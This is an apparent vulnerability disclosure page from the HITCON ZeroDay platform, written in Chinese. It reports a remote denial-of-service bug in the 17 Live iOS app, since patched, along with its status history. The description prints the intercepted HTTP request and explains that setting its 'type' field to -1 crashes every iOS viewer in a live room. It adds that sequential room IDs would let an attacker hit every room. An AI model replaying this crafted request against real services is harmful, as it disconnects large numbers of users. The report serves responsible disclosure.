17 直播 iOS App 遠端拒絕服務漏洞

Vulnerability Overview

ZDID: ZD-2017-01260
發信 Vendor: 英屬維京群島商麻吉一七股份有限公司臺灣分公司
Title: 17 直播 iOS App 遠端拒絕服務漏洞
Introduction: 手機 App 未正確處理例外導致可遠端將房間內所有 iOS 使用者踢下線(Crash)

處理狀態

目前狀態

公開

Last Update : 2018/02/01

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2017/12/18 15:38:16 : 新提交 (由 Orange 更新此狀態)
2017/12/18 15:43:43 : 新提交 (由 Orange 更新此狀態)
2017/12/18 16:25:18 : 新提交 (由 Orange 更新此狀態)
2017/12/18 16:27:37 : 新提交 (由 Orange 更新此狀態)
2017/12/18 17:38:38 : 新提交 (由 Orange 更新此狀態)
2017/12/21 17:20:49 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/12/21 17:29:24 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/12/21 17:29:25 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/01/08 23:47:56 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/02/01 03:01:00 : 公開 (由 HITCON ZeroDay 平台自動更新)
2018/02/01 12:33:58 : 確認已修補 (由 Orange 更新此狀態)
2018/02/01 12:34:30 : 公開 (由 HITCON ZeroDay 服務團隊更新此狀態)

詳細資料

ZDID：ZD-2017-01260
通報者：orange (Orange)
風險：嚴重
類型：其他 (Other)

參考資料

暫無資料

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

安安, 最近 17 很夯, CrBoy, Tiger 及 Orange 閒閒無事一起發現了一些好玩的東西!
首先使用 Burp Suite 對 17App 進行一個 Man in the Middle 動作, 隨便點個房間進去看看!

半夜三點還有七八千人在線真扯~"~

看妹子覺得滿可愛的追蹤一下好了! 點下追蹤的同時手機送出了如下的請求

POST /api/v1/lives/325548/reactMsg HTTP/1.1
Host: api-dsa.17app.co
Content-Type: application/json
Accept: */*
deviceName: angelboynogg
version: 2.03
Accept-Language: zh-TW;q=1, en-TW;q=0.9, zh-Hans-TW;q=0.8
packageName: com.machipopo.story17
accessToken: ********-****-****-****-************
Accept-Encoding: gzip, deflate
deviceID: ********-****-****-****-************
language: TW
User-Agent: Story17/2.03 (iPhone; iOS 11.2; Scale/3.00)
Content-Length: 11
Connection: close
deviceType: IOS

{"type":3}

看來 type=3 是個追蹤呢! 真棒, 改個數字不知道會怎麼樣?　哦哦哦! 看來 2 是喜歡呢! 那 type=-1 呢?

阿乾, 手機閃退惹...
原本以為手機太爛, 想了一下不對阿我在電腦操作乾我手機ㄆ事! 仔細看一下發現架構可能是這樣的:

看直播的人訂閱了 PubNub 的 Push Notification (包含直播主)
送了一個錯誤的 type 進 17App 伺服器, 而 17App 並未驗證 type 並將這個不合法的 type 透過 PubNub 推送至同個房間所有人的手機
17App iOS 版本並未正確處理這個錯誤的 type 導致手機程式崩潰

　
　
雖然只是個小小的崩潰, 但根據 17App 的性質可以造成很大的影響, 例如:

由於訊息是用廣播推送的方式送到所有人的手機, 所以可以一次造成數萬寶寶斷線(前幾名的直播都是幾萬人在看的...XD)
由於房間 ID 是流水號, 理論上可以對每個房間做同樣的事
直播平台的性質, 如果這樣子的漏洞被拿去惡意利用應該會損失很多用戶及直播主

　
　
所以... 加油囉XD

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

17 直播 iOS App 遠端拒絕服務漏洞 - HITCON ZeroDay

Vulnerability Detail Report